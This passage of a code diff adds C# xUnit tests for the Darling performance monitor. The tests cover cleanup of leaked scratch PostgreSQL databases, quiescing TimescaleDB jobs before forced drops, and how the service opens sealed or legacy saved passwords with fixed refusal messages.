+        Assert.Equal(5544, drain.Port);
+        Assert.Equal("darling", drain.Username);
+        Assert.Equal("postgres", drain.Database);
+    }
+
+    [Fact]
+    public void TheDrain_StopsOnlyTheClusterThatDidNotAnswer_NotAnotherOne()
+    {
+        /* Two different ports, so the two stopped clusters are two clusters even if the OS hands the same port out twice. */
+        var firstPort = ClosedPort();
+        int secondPort;
+        do
+        {
+            secondPort = ClosedPort();
+        }
+        while (secondPort == firstPort);
+
+        var firstStopped = StoppedClusterConnectionString(firstPort);
+        var secondStopped = StoppedClusterConnectionString(secondPort);
+
+        var outcome = ScratchPostgres.DropRememberedAtExit(new[]
+        {
+            Remembered(firstStopped, "first one"),
+            Remembered(secondStopped, "second one"),
+            Remembered(firstStopped, "first two"),
+            Remembered(secondStopped, "second two"),
+        });
+
+        /* Two clusters, each tried once: a dead cluster does not cause the other to be skipped. */
+        Assert.Equal(2, outcome.ConnectAttempts);
+        Assert.Equal(2, outcome.Failed);
+        Assert.Equal(2, outcome.Skipped);
+    }
+
+    [Fact]
+    public async Task TheDrain_OnALiveCluster_DropsWhatItWasGiven_EvenWhenAStoppedClusterIsInTheSameList()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the live exit-drain test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var stopped = StoppedClusterConnectionString(ClosedPort());
+
+        /* A deadline as long as one drop's command timeout: this pins the dead-and-live mix, not the deadline, and a drop
+           mid-suite waits for a checkpoint that a busy cluster can take seconds to finish. */
+        var outcome = ScratchPostgres.DropRememberedAtExit(
+            new[]
+            {
+                Remembered(stopped, "dead one"),
+                new ScratchPostgres.RememberedDatabase(scratch.DatabaseName, baseConnectionString!, "the live test"),
+                Remembered(stopped, "dead two"),
+            },
+            TimeSpan.FromSeconds(ScratchPostgres.ExitDrainConnectTimeoutSeconds + ScratchPostgres.ExitDrainCommandTimeoutSeconds) + ScratchPostgres.QuiesceCap);
+
+        /* One attempt on the stopped cluster, one on the live one; the second database on the stopped cluster is left. */
+        Assert.Equal(2, outcome.ConnectAttempts);
+        Assert.Equal(1, outcome.Dropped);
+        Assert.Equal(1, outcome.Failed);
+        Assert.Equal(1, outcome.Skipped);
+        Assert.False(ScratchPostgres.IsRemembered(scratch.DatabaseName), "a database the drain dropped must leave the queue");
+
+        await using var probe = new NpgsqlConnection(baseConnectionString);
+        await probe.OpenAsync(ct);
+        await using var exists = new NpgsqlCommand("SELECT count(*) FROM pg_database WHERE datname = $1", probe);
+        exists.Parameters.AddWithValue(scratch.DatabaseName);
+        Assert.Equal(0L, Convert.ToInt64(await exists.ExecuteScalarAsync(ct)));
+    }
+
+    /// <summary>
+    /// A run that leaks many databases on a live cluster: the drain returns by its deadline and accounts for every one,
+    /// dropped or not finished, with none failed. The 2026-10-08 nightly leaked 39, and dropping them one at a time
+    /// outran xUnit's end-of-run window.
+    /// <para>How many it drops in time is not pinned. Each DROP DATABASE waits for an immediate checkpoint, and on a
+    /// cluster busy with other tests' writes one checkpoint took 30 seconds on a local rig (2026-10-08), so a drop can
+    /// legitimately miss the deadline mid-suite; at the real process exit the cluster is idle.</para>
+    /// </summary>
+    [Fact]
+    public async Task TheDrain_OfManyLeakedDatabases_OnALiveCluster_ReturnsByItsDeadline_AndAccountsForEveryOne()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the live exit-drain test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        const int Leaked = 6;
+        var scratches = new ScratchPostgres[Leaked];
+        try
+        {
+            for (var i = 0; i < Leaked; i++)
+            {
+                scratches[i] = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            }
+
+            var clock = Stopwatch.StartNew();
+            var outcome = ScratchPostgres.DropRememberedAtExit(
+                Array.ConvertAll(scratches, scratch => new ScratchPostgres.RememberedDatabase(scratch.DatabaseName, baseConnectionString!, "the leak test")));
+            clock.Stop();
+
+            Assert.True(
+                clock.Elapsed < TimeSpan.FromSeconds(ScratchPostgres.ExitDrainBudgetSeconds) + TimeSpan.FromSeconds(1),
+                $"the drain of {Leaked} databases took {clock.Elapsed.TotalSeconds:0.0} seconds against its {TimeSpan.FromSeconds(ScratchPostgres.ExitDrainBudgetSeconds).TotalSeconds:0}-second deadline");
+            Assert.Equal(Leaked, outcome.Dropped + outcome.Unfinished);
+            Assert.Equal(0, outcome.Failed);
+            Assert.Equal(0, outcome.Skipped);
+            Assert.True(outcome.ConnectAttempts >= 1, "the drain never tried the live cluster");
+
+            /* A database the drain dropped is gone from the cluster and from the queue. A drop it sent before the
+               deadline may finish after it returned, so the queue can hold fewer than the outcome's unfinished count. */
+            var dropped = Array.FindAll(scratches, scratch => !ScratchPostgres.IsRemembered(scratch.DatabaseName));
+            Assert.True(dropped.Length >= outcome.Dropped, $"the drain reported {outcome.Dropped} dropped, and only {dropped.Length} left the queue");
+            await using var probe = new NpgsqlConnection(baseConnectionString);
+            await probe.OpenAsync(ct);
+            await using var exists = new NpgsqlCommand("SELECT count(*) FROM pg_database WHERE datname = ANY($1)", probe);
+            exists.Parameters.AddWithValue(Array.ConvertAll(dropped, scratch => scratch.DatabaseName));
+            Assert.Equal(0L, Convert.ToInt64(await exists.ExecuteScalarAsync(ct)));
+        }
+        finally
+        {
+            /* A drop the drain already made makes this a no-op; one it missed (a failing run) is dropped here, not at exit. */
+            foreach (var scratch in scratches)
+            {
+                if (scratch is not null)
+                {
+                    await scratch.DisposeAsync();
+                }
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ScratchPostgresQuiesceTests.cs b/Darling/Darling.Tests/ScratchPostgresQuiesceTests.cs
new file mode 100644
index 0000000000..56b514144c
--- /dev/null
+++ b/Darling/Darling.Tests/ScratchPostgresQuiesceTests.cs
@@ -0,0 +1,310 @@
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch databases through ScratchPostgres and never touches another test's
+   rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// PR #5480: <see cref="ScratchPostgres.QuiesceTimescaleJobsAsync"/> runs before a scratch database is dropped
+/// WITH (FORCE), so no TimescaleDB policy worker is mid-run in the database being dropped (CI saw a worker die with
+/// 0xC0000005 twice, both with such a drop in flight). It is best-effort: it never throws and never blocks the drop.
+/// </summary>
+[Collection("timing")]
+public sealed class ScratchPostgresQuiesceLiveTests
+{
+    [Fact]
+    public async Task AfterTheHelper_EveryJobIsUnscheduled_AndNoJobWorkerIsLeftInTheDatabase()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live scratch-quiesce test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.SkipUnless(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct),
+            "TimescaleDB is not available on this PostgreSQL, so there are no policy jobs to quiesce.");
+
+        /* The product's policies (retention, compression, continuous-aggregate refresh), installed the way the
+           product installs them: they are scheduled on creation, which is what makes workers run when a test ends. */
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+
+        var scheduledBefore = await ScalarAsync(connection, "SELECT count(*) FROM timescaledb_information.jobs WHERE scheduled", ct);
+        Assert.True(scheduledBefore > 0, "the product policies installed no scheduled job, so this test would prove nothing.");
+
+        /* Start some workers right now, the state a test's dispose meets. */
+        await using (var kick = new NpgsqlCommand(
+            "SELECT alter_job(job_id, next_start => now()) FROM timescaledb_information.jobs WHERE scheduled", connection))
+        {
+            await kick.ExecuteNonQueryAsync(ct);
+        }
+
+        await ScratchPostgres.QuiesceTimescaleJobsAsync(scratch.UnpinnedConnectionString, scratch.DatabaseName);
+
+        Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM timescaledb_information.jobs WHERE scheduled", ct));
+
+        await using var admin = new NpgsqlConnection(new NpgsqlConnectionStringBuilder(scratch.UnpinnedConnectionString) { Database = "postgres" }.ConnectionString);
+        await admin.OpenAsync(ct);
+        Assert.Equal(0L, await ScratchPostgres.JobWorkerCountAsync(admin, scratch.DatabaseName, ct));
+    }
+
+    [Fact]
+    public async Task ADatabaseWithoutTheExtension_ReturnsAtOnce_AndDoesNotThrow()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live scratch-quiesce test (it mints its own scratch database).");
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, TestContext.Current.CancellationToken);
+
+        var clock = Stopwatch.StartNew();
+        await ScratchPostgres.QuiesceTimescaleJobsAsync(scratch.UnpinnedConnectionString, scratch.DatabaseName);
+
+        Assert.True(clock.Elapsed < ScratchPostgres.QuiesceCap, $"took {clock.Elapsed}, past the cap {ScratchPostgres.QuiesceCap}.");
+    }
+
+    [Fact]
+    public async Task ADatabaseThatIsAlreadyGone_ReturnsWithinTheCap_AndDoesNotThrow()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live scratch-quiesce test (it mints its own scratch database).");
+
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, TestContext.Current.CancellationToken);
+        var unpinned = scratch.UnpinnedConnectionString;
+        var name = scratch.DatabaseName;
+        await scratch.DisposeAsync();
+
+        var clock = Stopwatch.StartNew();
+        await ScratchPostgres.QuiesceTimescaleJobsAsync(unpinned, name);
+
+        Assert.True(clock.Elapsed < ScratchPostgres.QuiesceCap, $"took {clock.Elapsed}, past the cap {ScratchPostgres.QuiesceCap}.");
+    }
+
+    /// <summary>
+    /// #5549: the backend that ran a scratch database's CREATE DATABASE and DROP DATABASE must end with its
+    /// connection. The admin string is the caller's <c>DARLING_TEST_PG</c>, so a pooled admin connection went back
+    /// into the pool every live test draws from, and on CI the next test's <c>CALL run_job</c> ran on the backend
+    /// that had just run the drop. The base string here carries its own application name, so its pool and its
+    /// sessions belong to this test alone: once the scratch database is gone, none of them may still be open.
+    /// </summary>
+    [Fact]
+    public async Task TheCreateAndTheDrop_LeaveNoBackendOpenInTheCallersPool()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live scratch-pool test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+        var tag = "w5549-" + Guid.NewGuid().ToString("N")[..12];
+        var tagged = new NpgsqlConnectionStringBuilder(baseConnectionString) { ApplicationName = tag }.ConnectionString;
+
+        var scratch = await ScratchPostgres.CreateAsync(tagged, ct);
+        await scratch.DisposeAsync();
+
+        await using var probe = new NpgsqlConnection(baseConnectionString);
+        await probe.OpenAsync(ct);
+        var left = -1L;
+        var lastQuery = "";
+        /* An unpooled connection's backend leaves pg_stat_activity a moment after the close, not at it. A pooled one
+           stays for the pool's idle lifetime (300 seconds by default), far past this wait. */
+        for (var poll = 0; poll < 25; poll++)
+        {
+            await using var command = new NpgsqlCommand(
+                "SELECT count(*), coalesce(max(query), '') FROM pg_stat_activity WHERE application_name = $1", probe);
+            command.Parameters.AddWithValue(tag);
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            await reader.ReadAsync(ct);
+            left = reader.GetInt64(0);
+            lastQuery = reader.GetString(1);
+            if (left == 0)
+            {
+                break;
+            }
+
+            await reader.DisposeAsync();
+            await Task.Delay(TimeSpan.FromMilliseconds(200), ct);
+        }
+
+        Assert.True(left == 0,
+            $"{left} backend(s) from the caller's pool are still open after the scratch database's create and drop; the last one ran: {lastQuery}");
+    }
+
+    private static async Task<long> ScalarAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return (long)(await command.ExecuteScalarAsync(ct))!;
+    }
+}
+
+/// <summary>
+/// PR #5480: every <c>DROP DATABASE ... WITH (FORCE)</c> statement in Darling.Tests is preceded, in the same method, by
+/// <c>QuiesceTimescaleJobsAsync</c>, so a new drop site cannot reintroduce the kill of a running TimescaleDB job worker.
+/// A statement is a string literal holding both <c>DROP DATABASE</c> and <c>WITH (FORCE)</c>; comments are blanked first by <see cref="CSharpSourceWalker"/>.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ScratchPostgresQuiesceCensusTests
+{
+    private const string Helper = "QuiesceTimescaleJobsAsync";
+
+    /// <summary>How many lines above a drop the helper call may sit. The farthest real site has it 3 lines above.</summary>
+    private const int Window = 12;
+
+    private static readonly Regex DropStatement = new("\".*DROP DATABASE.*WITH \\(FORCE\\)", RegexOptions.Compiled);
+
+    /// <summary>
+    /// Blanks comments (to spaces, keeping every newline so line numbers hold) and keeps string literals, quotes
+    /// included, because the drop statement is itself a literal. Built on <see cref="CSharpSourceWalker"/>, so a
+    /// line that merely starts with <c>*</c> inside a literal is still seen, and a comment is never.
+    /// </summary>
+    internal static string BlankComments(string text)
+    {
+        var keep = CSharpSourceWalker.CodeMask(text);
+        foreach (var (start, body) in CSharpSourceWalker.StringLiteralBodies(text))
+        {
+            for (var i = start; i < start + body.Length; i++)
+            {
+                keep[i] = true;
+            }
+
+            if (start > 0 && text[start - 1] == '"')
+            {
+                keep[start - 1] = true;
+            }
+
+            if (start + body.Length < text.Length && text[start + body.Length] == '"')
+            {
+                keep[start + body.Length] = true;
+            }
+        }
+
+        var sb = new System.Text.StringBuilder(text.Length);
+        for (var i = 0; i < text.Length; i++)
+        {
+            sb.Append(keep[i] ? text[i] : text[i] == '\n' ? '\n' : ' ');
+        }
+
+        return sb.ToString();
+    }
+
+    private static (int Sites, List<string> Unguarded) Scan(IEnumerable<(string Name, string Source)> files)
+    {
+        var sites = 0;
+        var unguarded = new List<string>();
+        foreach (var (name, source) in files)
+        {
+            var lines = BlankComments(source).Split('\n');
+            for (var i = 0; i < lines.Length; i++)
+            {
+                if (!DropStatement.IsMatch(lines[i]))
+                {
+                    continue;
+                }
+
+                sites++;
+                var from = Math.Max(0, i - Window);
+                if (!lines.Skip(from).Take(i - from).Any(line => line.Contains(Helper, StringComparison.Ordinal)))
+                {
+                    unguarded.Add($"{name}:{i + 1}");
+                }
+            }
+        }
+
+        return (sites, unguarded);
+    }
+
+    [Fact]
+    public void EveryForceDropInTheTestProject_IsPrecededByTheQuiesceHelper()
+    {
+        var directory = FindTestProjectDirectory();
+        Assert.True(directory is not null, "could not find Darling/Darling.Tests from the test binary.");
+
+        var files = Directory.EnumerateFiles(directory!, "*.cs", SearchOption.AllDirectories)
+            .Select(path => (Name: Path.GetRelativePath(directory!, path).Replace('\\', '/'), Path: path))
+            .Where(found => !found.Name.Split('/').Any(segment => segment is "bin" or "obj"))
+            .Where(found => found.Name != "ScratchPostgresQuiesceTests.cs")
+            .Select(found => (found.Name, File.ReadAllText(found.Path)))
+            .ToList();
+
+        var (sites, unguarded) = Scan(files);
+
+        Assert.True(sites >= 7, $"the scan found {sites} WITH (FORCE) drop site(s); the project has at least 7, so the match found nothing.");
+        Assert.True(unguarded.Count == 0,
+            "These WITH (FORCE) drops are not preceded by ScratchPostgres.QuiesceTimescaleJobsAsync (PR #5480): "
+            + string.Join(", ", unguarded));
+    }
+
+    [Fact]
+    public void ADropWithoutTheHelper_IsReported_AndOneWithItIsNot()
+    {
+        const string guarded =
+            "await ScratchPostgres.QuiesceTimescaleJobsAsync(cs, name);\n"
+            + "await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {name} WITH (FORCE)\", admin);\n";
+        const string bare = "await using var drop = new NpgsqlCommand($\"DROP DATABASE IF EXISTS {name} WITH (FORCE)\", admin);\n";
+        const string commentOnly = "/// the drop is DROP DATABASE ... WITH (FORCE)\n// \"DROP DATABASE x WITH (FORCE)\"\n";
+
+        var clean = Scan([("G.cs", guarded)]);
+        Assert.Equal(1, clean.Sites);
+        Assert.Empty(clean.Unguarded);
+        var offending = Scan([("B.cs", bare)]);
+        Assert.Equal(1, offending.Sites);
+        Assert.Equal(["B.cs:1"], offending.Unguarded);
+        Assert.Equal(0, Scan([("C.cs", commentOnly)]).Sites);
+    }
+
+    /// <summary>
+    /// The CI side of PR #5480: both workflows warn when the PostgreSQL log holds "terminated by exception", on every
+    /// outcome (<c>if: always()</c>) and without ever failing the job, ahead of the step that stops the server.
+    /// </summary>
+    [Theory]
+    [InlineData("build.yml")]
+    [InlineData("nightly.yml")]
+    public void TheWorkflow_WarnsOnAWorkerCrashInThePostgresLog_AlwaysAndOnlyAsAWarning(string workflow)
+    {
+        var path = Path.Combine(AppContext.BaseDirectory, "Fixtures", workflow);
+        Assert.True(File.Exists(path), $"{workflow} was not copied beside the test binary (Darling.Tests.csproj links it into Fixtures\\).");
+        var text = File.ReadAllText(path);
+
+        var start = text.IndexOf("- name: Warn if a PostgreSQL worker crashed", StringComparison.Ordinal);
+        Assert.True(start >= 0, $"{workflow} has no 'Warn if a PostgreSQL worker crashed' step.");
+        var stop = text.IndexOf("- name: Stop PostgreSQL", start, StringComparison.Ordinal);
+        Assert.True(stop > start, $"{workflow}: the warning step must come before 'Stop PostgreSQL'.");
+
+        var step = text[start..stop];
+        Assert.Contains("if: always()", step, StringComparison.Ordinal);
+        Assert.Contains("darling-pg.log", step, StringComparison.Ordinal);
+        Assert.Contains("terminated by exception", step, StringComparison.Ordinal);
+        Assert.Contains("::warning", step, StringComparison.Ordinal);
+        Assert.DoesNotContain("::error", step, StringComparison.Ordinal);
+        Assert.Contains("exit 0", step, StringComparison.Ordinal);
+    }
+
+    private static string? FindTestProjectDirectory()
+    {
+        var directory = new DirectoryInfo(AppContext.BaseDirectory);
+        for (var i = 0; i < 10 && directory is not null; i++)
+        {
+            if (File.Exists(Path.Combine(directory.FullName, "PerformanceMonitor.sln")))
+            {
+                var source = Path.Combine(directory.FullName, "Darling", "Darling.Tests");
+                return Directory.Exists(source) ? source : null;
+            }
+
+            directory = directory.Parent;
+        }
+
+        return null;
+    }
+}
diff --git a/Darling/Darling.Tests/SealedSecretResolverTests.cs b/Darling/Darling.Tests/SealedSecretResolverTests.cs
new file mode 100644
index 0000000000..aab46bf2e5
--- /dev/null
+++ b/Darling/Darling.Tests/SealedSecretResolverTests.cs
@@ -0,0 +1,393 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// How the service opens a saved password (#5366): a reference first, then a sealed value through the key ring, then an
+/// old-format (DPAPI) value on Windows only when darling.json declares it or a pin taken at upgrade still matches the row.
+/// Every refusal throws before the password is used, with one fixed sentence that never carries the value.
+///
+/// <para>The old-format opener is a counting stand-in, so a test can say that it was never called.</para>
+/// </summary>
+public sealed class SealedSecretResolverTests
+{
+    private const string Plain = "p@ss-not-real";
+
+    private static readonly Lazy<PasswordPrivateKey> s_key = new(PasswordPrivateKey.Generate);
+    private static readonly Lazy<PasswordPrivateKey> s_otherKey = new(PasswordPrivateKey.Generate);
+
+    private sealed class Probe
+    {
+        public int Calls;
+        public string Result = Plain;
+
+        public LegacyDpapi AsWindows() => new(true, _ => { Calls++; return Result; });
+
+        public LegacyDpapi AsLinux() => new(false, _ => { Calls++; return Result; });
+    }
+
+    private static IPasswordKeyRing Ring => DarlingPasswordKey.FromPrivateKey(s_key.Value);
+
+    private static MonitoredServer Server(string host = "alpha-host.example.test", string? stored = null) => new()
+    {
+        Name = "alpha",
+        Host = host,
+        Auth = "sql",
+        Username = "monitor",
+        EncryptedPassword = stored,
+        RemediationUsername = "remediator",
+    };
+
+    private static string SealFor(MonitoredServer server, PasswordPrivateKey? key = null) =>
+        PasswordSeal.Seal(Plain, (key ?? s_key.Value).PublicKey, server.SecretBinding);
+
+    private static LegacyPin PinFor(string stored, PasswordBinding binding) =>
+        new(SHA256.HashData(Encoding.UTF8.GetBytes(stored)), binding.LegacyPinHash());
+
+    /* ═══════════ sealed values ═══════════ */
+
+    [Fact]
+    public void ASealedPasswordOpensForTheConnectionItWasSavedFor()
+    {
+        var server = Server();
+        server.EncryptedPassword = SealFor(server);
+        var probe = new Probe();
+
+        Assert.Equal(Plain, DarlingSecrets.ResolvePassword(server, out var usedPlaintext, Ring, probe.AsWindows()));
+        Assert.False(usedPlaintext);
+        Assert.Equal(0, probe.Calls);
+    }
+
+    [Fact]
+    public void ASealedPasswordCopiedToARowWithAnotherHostIsRefusedWithTheBindingMessage()
+    {
+        var saved = Server();
+        var sealedText = SealFor(saved);
+        var copy = Server(host: "beta-host.example.test", stored: sealedText);
+        var probe = new Probe();
+
+        var ex = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(copy, out _, Ring, probe.AsWindows()));
+
+        Assert.Equal(
+            "The saved password for server 'alpha' was saved for a different connection, or was changed. Enter the password again.",
+            ex.Message);
+        Assert.Equal(0, probe.Calls);
+        Assert.DoesNotContain(Plain, ex.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ASealedPasswordWithAnUnknownKeyIdGivesTheUnknownKeySentence()
+    {
+        var server = Server();
+        server.EncryptedPassword = SealFor(server, s_otherKey.Value);
+        var probe = new Probe();
+
+        var ex = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(server, out _, Ring, probe.AsWindows()));
+
+        var expectedId = PasswordSeal.DisplayKeyId(s_otherKey.Value.PublicKey.KeyId);
+        Assert.Equal(
+            $"The saved password for server 'alpha' was sealed to password key {expectedId}, which this service does not have. " +
+            "Restore the credentials volume, or enter the password again.",
+            ex.Message);
+        Assert.Equal(0, probe.Calls);
+    }
+
+    [Fact]
+    public void ANewerSealedVersionNeverReachesTheOldFormatOpener()
+    {
+        var server = Server(stored: "sealed:v2:" + Convert.ToBase64String(new byte[64]));
+        server.EncryptedPasswordDeclaredByFile = true;
+        var probe = new Probe();
+
+        var ex = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(server, out _, Ring, probe.AsWindows()));
+
+        Assert.Equal("The saved password for server 'alpha' was saved by a newer version of Darling.", ex.Message);
+        Assert.Equal(0, probe.Calls);
+    }
+
+    [Fact]
+    public void ANotReadyRingGivesTheNotReadySentenceNotTheUnknownKeySentence()
+    {
+        var server = Server();
+        server.EncryptedPassword = SealFor(server);
+        var probe = new Probe();
+
+        var ex = Assert.Throws<InvalidOperationException>(() =>
+            DarlingSecrets.ResolvePassword(server, out _, DarlingPasswordKey.Refusing(DarlingPasswordKey.NotReadyReason), probe.AsWindows()));
+
+        Assert.Equal(DarlingPasswordKey.NotReadyReason, ex.Message);
+        Assert.Equal(0, probe.Calls);
+    }
+
+    [Fact]
+    public void ARefusingRingGivesItsOwnReason()
+    {
+        var server = Server();
+        server.EncryptedPassword = SealFor(server);
+        const string reason = "The password key is missing from the credentials directory.";
+
+        var ex = Assert.Throws<InvalidOperationException>(() =>
+            DarlingSecrets.ResolvePassword(server, out _, DarlingPasswordKey.Refusing(reason), new Probe().AsWindows()));
+
+        Assert.Equal(reason, ex.Message);
+    }
+
+    [Fact]
+    public void AConnectionFieldThatIsNotValidTextGivesTheBindingMessage()
+    {
+        var saved = Server();
+        var server = Server(host: "alpha\ud800.example.test", stored: SealFor(saved));
+
+        var ex = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(server, out _, Ring, new Probe().AsWindows()));
+
+        Assert.Contains("saved for a different connection, or was changed", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("\ud800", ex.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ASealedPasswordIsOpenedWhateverThePlatform()
+    {
+        var server = Server();
+        server.EncryptedPassword = SealFor(server);
+
+        Assert.Equal(Plain, DarlingSecrets.ResolvePassword(server, out _, Ring, new Probe().AsLinux()));
+    }
+
+    [Fact]
+    public void ARowReadWithANullDatabaseBindsToTheEmptyDatabase()
+    {
+        /* A row's NULL database and an empty one are the same text in the binding, and the identity read from the row is what the
+           sealed value was bound to. */
+        var identity = ServerConnectionIdentity.FromStoredColumns("alpha-host.example.test", null, null, null, false, "sql", "monitor", "Mandatory", false, false);
+        var sealedText = PasswordSeal.Seal(Plain, s_key.Value.PublicKey, PasswordBinding.ForServer(identity));
+        var server = Server(stored: sealedText);
+        server.StoredIdentity = identity;
+
+        Assert.Equal(Plain, DarlingSecrets.ResolvePassword(server, out _, Ring, new Probe().AsWindows()));
+    }
+
+    [Fact]
+    public void ASealedRemediationPasswordOpensOnlyForItsOwnConnectionAndLogin()
+    {
+        var server = Server();
+        server.RemediationEncryptedPassword = PasswordSeal.Seal(Plain, s_key.Value.PublicKey, server.RemediationBinding);
+        Assert.Equal(Plain, DarlingSecrets.ResolveRemediationPassword(server, Ring, new Probe().AsWindows()));
+
+        server.RemediationUsername = "another-login";
+        var ex = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolveRemediationPassword(server, Ring, new Probe().AsWindows()));
+        Assert.Equal(
+            "The saved remediation password for server 'alpha' was saved for a different connection, or was changed. Enter the password again.",
+            ex.Message);
+    }
+
+    [Fact]
+    public void ASealedSmtpPasswordOpensOnlyForItsOwnSmtpConnection()
+    {
+        var smtp = new SmtpConfig { Host = "mail.example.test", Port = 587, UseSsl = true, Username = "mailer" };
+        smtp.EncryptedPassword = PasswordSeal.Seal(Plain, s_key.Value.PublicKey, smtp.SecretBinding);
+        Assert.Equal(Plain, DarlingSecrets.ResolveSmtpPassword(smtp, Ring, new Probe().AsLinux()));
+
+        smtp.Host = "other-mail.example.test";
+        var ex = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolveSmtpPassword(smtp, Ring, new Probe().AsLinux()));
+        Assert.Equal(
+            "The saved SMTP password was saved for a different connection, or was changed. Enter the password again.", ex.Message);
+    }
+
+    /* ═══════════ old-format (DPAPI) values ═══════════ */
+
+    [Fact]
+    public void AnUnpinnedOldFormatPasswordIsRefusedAndNeverOpened()
+    {
+        var server = Server(stored: "AQIDBAUGBwgJCg==");
+        var probe = new Probe();
+
+        var ex = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(server, out _, Ring, probe.AsWindows()));
+
+        Assert.Equal(
+            "The saved password for server 'alpha' is in the old format and was saved after this service was upgraded, or its connection changed. " +
+            "Update the Darling Viewer, then enter the password again.",
+            ex.Message);
+        Assert.Equal(0, probe.Calls);
+    }
+
+    [Fact]
+    public void APinnedOldFormatPasswordOpensWhileItsRowIsUnchanged()
+    {
+        const string stored = "AQIDBAUGBwgJCg==";
+        var server = Server(stored: stored);
+        server.SecretPin = PinFor(stored, server.SecretBinding);
+        var probe = new Probe();
+
+        Assert.Equal(Plain, DarlingSecrets.ResolvePassword(server, out var usedPlaintext, Ring, probe.AsWindows()));
+        Assert.False(usedPlaintext);
+        Assert.Equal(1, probe.Calls);
+    }
+
+    [Fact]
+    public void APinnedRowWhoseHostWasChangedByADirectUpdateIsRefused()
+    {
+        const string stored = "AQIDBAUGBwgJCg==";
+        var server = Server(stored: stored);
+        server.SecretPin = PinFor(stored, server.SecretBinding);
+        server.Host = "beta-host.example.test";
+        var probe = new Probe();
+
+        var ex = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(server, out _, Ring, probe.AsWindows()));
+
+        Assert.Contains("is in the old format", ex.Message, StringComparison.Ordinal);
+        Assert.Equal(0, probe.Calls);
+    }
+
+    [Fact]
+    public void APinForAnotherValueDoesNotOpenAChangedPassword()
+    {
+        var server = Server(stored: "AQIDBAUGBwgJCg==");
+        server.SecretPin = PinFor("AAAAAAAAAAAAAA==", server.SecretBinding);
+        var probe = new Probe();
+
+        Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(server, out _, Ring, probe.AsWindows()));
+        Assert.Equal(0, probe.Calls);
+    }
+
+    [Fact]
+    public void AnOldFormatPasswordTheFileDeclaresOpensWithoutAPin()
+    {
+        var server = Server(stored: "AQIDBAUGBwgJCg==");
+        server.EncryptedPasswordDeclaredByFile = true;
+        var probe = new Probe();
+
+        Assert.Equal(Plain, DarlingSecrets.ResolvePassword(server, out _, Ring, probe.AsWindows()));
+        Assert.Equal(1, probe.Calls);
+    }
+
+    [Fact]
+    public void AnOldFormatPasswordOnAnotherPlatformGivesTheOtherMachineSentenceEvenWhenDeclaredOrPinned()
+    {
+        const string stored = "AQIDBAUGBwgJCg==";
+        var server = Server(stored: stored);
+        server.EncryptedPasswordDeclaredByFile = true;
